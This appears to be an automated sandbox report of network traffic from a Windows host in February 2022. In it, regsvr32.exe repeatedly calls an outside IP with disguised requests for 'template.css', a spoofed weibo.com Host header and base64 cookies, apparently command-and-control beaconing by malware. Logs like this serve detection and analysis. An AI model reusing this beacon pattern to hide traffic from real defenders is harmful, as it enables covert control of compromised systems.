2022-02-08 23:07:12 UTC 847 IN Data Raw: a6 93 91 59 a7 93 e5 c8 a4 93 75 69 a5 93 01 cf a4 93 d1 5c a7 93 51 fa a6 93 d1 5d a7 93 0d ce a4 93 8d 69 
a5 93 4c ce a4 93 98 5d a7 93 5c fa a6 93 86 5d a7 93 52 ce a4 93 8e 69 a5 93 ac c0 a4 93 3c 4b a7 93 18 e2 a6 93 52 
4b a7 93 86 d8 a4 93 da 71 a5 93 d1 db a4 93 41 50 a7 93 59 fa a6 93 3a 50 a7 93 ee c3 a4 93 8a 69 a5 93 1d c3 a4 93 
e9 50 a7 93 71 fa a6 93 a0 50 a7 93 30 db a4 93 dc 71 a5 93 5d dd a4 93 5d 49 a7 93 cd e5 a6 93 6b 49 a7 93 bf da a4 9
3 17 76 a5 93 35 db a4 93 a5 50 a7 93 81 fd a6 93 0b 50 a7 93 3b c4 a4 93 b7 69 a5 93 d6 c7 a4 93 82 53 a7 93 f2 fd a6 
93 0c 52 a7 93 b0 c6 a4 93 b0 76 a5 93 3f c6 a4 93 af 52 a7 93 3f e2 a6 93 5a 53 a7 93 8e c0 a4 93 0e 71 a5 93 c0 c0 a4 
93 18 54 a7 93 c8 e5 a6 93 27 56 a7 93 3f c3 a4 93 cf 70 a5 93 c2 
Data Ascii: Yui\Q]iL]\]Ri<KRKqAPY:PiPqP0q]]IkIv5PP;iSRv?R?ZSqT'V?p

2022-02-08 23:07:12 UTC 851 IN Data Raw: a7 93 65 29 a5 93 45 6f a7 93 95 f4 a4 93 b5 b2 a6 93 03 f4 a4 93 4f 68 a7 93 f7 2e a5 93 59 66 a7 93 a1 fd a4 
93 11 b5 a6 93 4b fc a4 93 77 60 a7 93 2b 29 a5 93 fb 60 a7 93 97 c1 a4 93 47 88 a6 93 3a c2 a4 93 42 51 a7 93 ee 1b 
a5 93 6d 50 a7 93 15 cc a4 93 91 87 a6 93 cc cb a4 93 6c 57 a7 93 0c 1b a5 93 e9 57 a7 93 89 cc a4 93 61 80 a6 93 7b 
cd a4 93 93 5b a7 93 b7 16 a5 93 e7 58 a7 93 4b d7 a4 93 13 99 a6 93 16 c9 a4 93 ba 46 a7 93 b2 16 a5 93 eb 47 a7 93 
27 db a4 93 43 8a a6 93 fe db a4 93 1a 47 a7 93 da 16 a5 93 e3 44 a7 93 0f d8 a4 93 5f 8a a6 93 ee d8 a4 93 3a 4b a7 9
3 8e 19 a5 93 30 4a a7 93 cc d6 a4 93 0c 85 a6 93 20 d1 a4 93 24 4c a7 93 08 18 a5 93 2e 40 a7 93 d2 dc a4 93 92 84 
a6 93 95 dd a4 93 85 40 a7 93 ad 19 a5 93 b7 43 a7 93 87 de a4 93 9b 
Data Ascii: e)EoOh.YfKw`+)`G:BQmPlWWa{[XKFG'CGD_:K0J $L.@@C

2022-02-08 23:07:12 UTC 853 IN Data Raw: 94 91 b2 bf a4 35 f2 1b f4 91 92 bf 84 35 12 1b 14 91 b2 bf a4 35 72 1b 74 91 92 bf 84 35 92 1a 94 90 b2 bf a4 
35 f2 1a f4 90 92 bf 84 35 12 1a 14 90 b2 bf a4 35 72 1a 74 90 92 bf 84 35 92 19 94 93 b2 bf a4 35 f2 19 f4 93 92 bf 84 35 
12 19 14 93 b2 bf a4 35 72 19 74 93 92 bf 84 35 92 18 94 92 b2 bf a4 35 f2 18 f4 92 92 bf 84 35 12 18 14 92 b2 bf a4 35 
72 18 74 92 92 bf 84 35 92 17 94 9d b2 bf a4 35 f2 17 f4 9d 9a bf 8c 35 12 17 14 9d ba bf ac 35 72 17 74 9d 9a bf 8c 35 
92 16 94 9c ba bf ac 35 f2 16 f4 9c 9a bf 8c 35 12 16 14 9c ba bf ac 35 72 16 74 9c 9a bf 8c 35 92 15 94 9f ba bf ac 35 f2 
15 f4 9f 9a bf 8c 35 12 15 14 9f ba bf ac 35 72 15 74 9f 9a bf 8c 35 92 14 94 9e ba bf ac 35 f2 14 f4 9e 9a bf 8c 35 12 14 
14 9e ba bf ac 35 72 14 74 9e 9a bf 8c 35 92 
Data Ascii: 555rt5555rt5555rt5555rt5555rt5555rt5555rt5555rt5

2022-02-08 23:07:12 UTC 873 IN Data Raw: 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 
Data Ascii: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

10 192.168.2.6 49771 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:20 UTC 1039 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:20 UTC 1039 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:20 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:07:20 UTC 1040 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

100 192.168.2.6 49948 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:08 UTC 1264 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:09 UTC 1265 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:09 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:09 UTC 1265 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

101 192.168.2.6 49949 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:10 UTC 1267 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:10 UTC 1268 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:10 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:10 UTC 1268 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

102 192.168.2.6 49950 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:10 UTC 1267 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:11 UTC 1270 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:10 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:11 UTC 1270 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

103 192.168.2.6 49952 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:11 UTC 1272 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:11 UTC 1272 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:11 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:11 UTC 1273 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

104 192.168.2.6 49953 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:13 UTC 1274 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:13 UTC 1275 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:13 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:13 UTC 1275 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

105 192.168.2.6 49954 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:15 UTC 1277 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:15 UTC 1278 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:15 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:09:15 UTC 1278 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

106 192.168.2.6 49955 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:15 UTC 1277 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:09:15 UTC 1280 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:09:15 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:09:15 UTC 1280 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

107 192.168.2.6 49956 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:09:16 UTC 1282 OUT GET /template.css?controller=true HTTP/1.1
